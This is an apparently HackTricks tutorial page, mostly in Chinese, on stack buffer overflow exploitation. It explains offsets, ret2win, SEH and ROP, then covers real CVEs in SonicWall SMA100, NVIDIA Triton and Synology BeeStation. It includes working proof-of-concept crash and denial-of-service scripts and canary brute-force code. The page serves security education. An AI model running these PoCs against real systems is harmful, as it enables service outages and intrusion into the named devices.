Stack Overflow
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是 Stack Overflow
A stack overflow 是一种漏洞,当程序向 stack 写入的数据超过为其分配的空间时就会发生。
这些多余的数据会覆盖相邻的内存空间,导致有效数据损坏、控制流被破坏,并可能执行恶意代码。该问题通常由于使用不执行输入边界检查的不安全函数而产生。
该覆盖的主要问题在于用于返回上一个函数的 saved instruction pointer (EIP/RIP) 和 saved base pointer (EBP/RBP) 存储在 stack 上。因此,攻击者可以覆盖它们并控制程序的执行流。
该漏洞通常是因为函数在 stack 内复制的字节数超过为其分配的数量,因此可以覆盖 stack 的其他部分。
一些常见的易受影响的函数有: strcpy, strcat, sprintf, gets… 另外,像 fgets, read & memcpy 这样的函数接受一个 长度参数,如果指定的长度大于分配的长度,可能会以不安全的方式被使用。
例如,以下函数可能存在漏洞:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
查找 Stack Overflows 的偏移量
查找 stack overflows 最常见的方法是输入大量的 A(例如 python3 -c 'print("A"*1000)'),并期待出现 Segmentation Fault,这表明 尝试访问的地址是 0x41414141。
此外,一旦发现存在 Stack Overflow 漏洞,就需要找出能 overwrite the return address 的偏移量。为此通常使用 De Bruijn sequence. 对于给定字母表大小为 k 且子序列长度为 n 的情况,De Bruijn sequence 是一个 循环序列,其中每一个可能的长度为 n 的子序列都恰好作为一个连续子序列出现一次。
这样一来,不必手动确定哪个偏移可以控制 EIP,可以用这些序列之一作为填充,然后找到最终覆盖它的字节的偏移。
可以使用 pwntools 来完成:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
或 GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
利用 Stack Overflows
在发生溢出时(假设溢出大小足够),你将能够覆盖栈内的局部变量值,直到到达保存的EBP/RBP and EIP/RIP (or even more)。
这种漏洞最常见的利用方式是通过modifying the return address,这样当函数结束时,control flow will be redirected wherever the user specified in this pointer。
然而,在其他场景下,可能仅仅覆盖栈中某些变量的值就足以进行利用(例如在简单 CTF 挑战中)。
Ret2win
在这类 CTF 挑战中,二进制内部存在一个function,它从未被调用,而你需要调用它才能获胜。对于这些挑战,你只需找到offset to overwrite the return address并find the address of the function来调用(通常 ASLR 会被禁用),这样当易受攻击的函数返回时,隐藏的函数就会被调用:
Stack Shellcode
在这种情形下,攻击者可以在栈上放置 shellcode,并利用可控的 EIP/RIP 跳转到该 shellcode 执行任意代码:
Windows SEH-based exploitation (nSEH/SEH)
在 32 位 Windows 上,溢出可能覆盖 Structured Exception Handler (SEH) 链而非保存的 return address。利用时通常将 SEH 指针替换为一个 POP POP RET gadget,并利用 4 字节的 nSEH 字段做一个短跳以转回到包含 shellcode 的大缓冲区。一个常见模式是在 nSEH 中放置一个短跳,该短跳落在紧挨着 nSEH 之前的一个 5-byte near jmp 上,从而把执行跳回数百字节到有效载荷的开始处。
ROP & Ret2… techniques
该技术是绕过前述主要防护(No executable stack (NX))的基础框架。它还允许执行其他多种技术(ret2lib、ret2syscall…),通过滥用二进制中现有的指令最终执行任意命令:
Heap Overflows
一个溢出不一定发生在栈上,例如也可能发生在heap,例如:
Types of protections
有若干防护机制尝试阻止漏洞被利用,参见:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
一个很好的示例说明了为何**sscanf 不应该被用于解析不可信输入**,该示例出现在 2025 年 SonicWall 的 SMA100 SSL-VPN 设备中。
位于 /usr/src/EasyAccess/bin/httpd 内的易受攻击例程尝试从以 /__api__/ 开头的任何 URI 中提取版本和端点:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- 第一个转换 (
%2s) 将 两个 字节安全地存入version(例如"v1")。 - 第二个转换 (
%s) 没有长度说明符,因此sscanf将继续复制 直到第一个 NUL 字节为止。 - 因为
endpoint位于 stack 上并且长度为 0x800 bytes,提供一个超过 0x800 bytes 的路径会破坏缓冲区之后的所有内容 ‑ 包括 stack canary 和 saved return address。
一个单行的概念验证就足以在 认证之前 触发崩溃:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
即使 stack canaries 会中止进程,攻击者仍能获得一个 Denial-of-Service 原语(并且,配合额外的信息 leaks,可能实现 code-execution)。
真实案例:CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) 包含多个可通过其 HTTP API 触及的 stack-based overflows。
易受攻击的模式在 http_server.cc 和 sagemaker_server.cc 中反复出现:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) 返回构成当前 HTTP 请求体的内部缓冲段数量。- 每个段会导致一个 16-byte 的
evbuffer_iovec通过alloca()在 栈 上分配 —— 没有任何上限。 - 通过滥用 HTTP chunked transfer-encoding,客户端可以强制将请求拆分为 数十万个6-byte chunks (
"1\r\nA\r\n")。这会使n无限制增长,直到栈被耗尽。
概念验证(DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
一个 ~3 MB 的请求足以覆盖 saved return address 并在默认构建下**crash**守护进程。
### 真实世界示例: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Synacktiv 在 Pwn2Own 2025 的利用链滥用了端口 5000 上 `SYNO.BEE.AdminCenter.Auth` 的一个预认证溢出。`AuthManagerImpl::ParseAuthInfo` 将攻击者输入 Base64 解码到一个 4096-byte 的栈缓冲区,但错误地设置为 `decoded_len = auth_info->len`。由于 CGI worker 会为每个请求 fork,每个子进程继承父进程的 stack canary,因此一个稳定的 overflow primitive 就足以同时破坏栈并 leak 所有必需的秘密。
#### Base64-decoded JSON as a structured overflow
解码后的 blob 必须是有效的 JSON 并且包含 `"state"` 和 `"code"` 键;否则解析器会在 overflow 有用之前抛出。Synacktiv 通过 Base64-encoding 一个负载来解决:该负载解码后为 JSON,随后是一个 NUL byte,然后是 overflow stream。`strlen(decoded)` 在 NUL 处停止因此解析成功,但 `SLIBCBase64Decode` 已经覆盖了 JSON 对象之后的栈,覆盖了 canary、saved RBP 和 return address。
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi 每次 HTTP 请求都会 fork,因此所有子进程共享相同的 canary、stack layout 和 PIE slide。该 exploit 将 HTTP 状态码视为 oracle:200 响应表示猜测的字节保留了栈,而 502(或连接被断开)表示进程崩溃。逐字节串行暴力破解可恢复 8-byte canary、一个已保存的 stack pointer,以及位于 libsynobeeadmincenter.so 内的返回地址:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr simply calls bf_next_byte eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.
从 leaks 到 ROP & execution
Once the library base is known, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) build an arb_write primitive that stages /bin/bash, -c, and the attacker command on the leaked stack address. Finally, the chain sets up the calling convention for SLIBCExecl (a BeeStation wrapper around execl(2)), yielding a root shell without needing a separate info-leak bug.
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

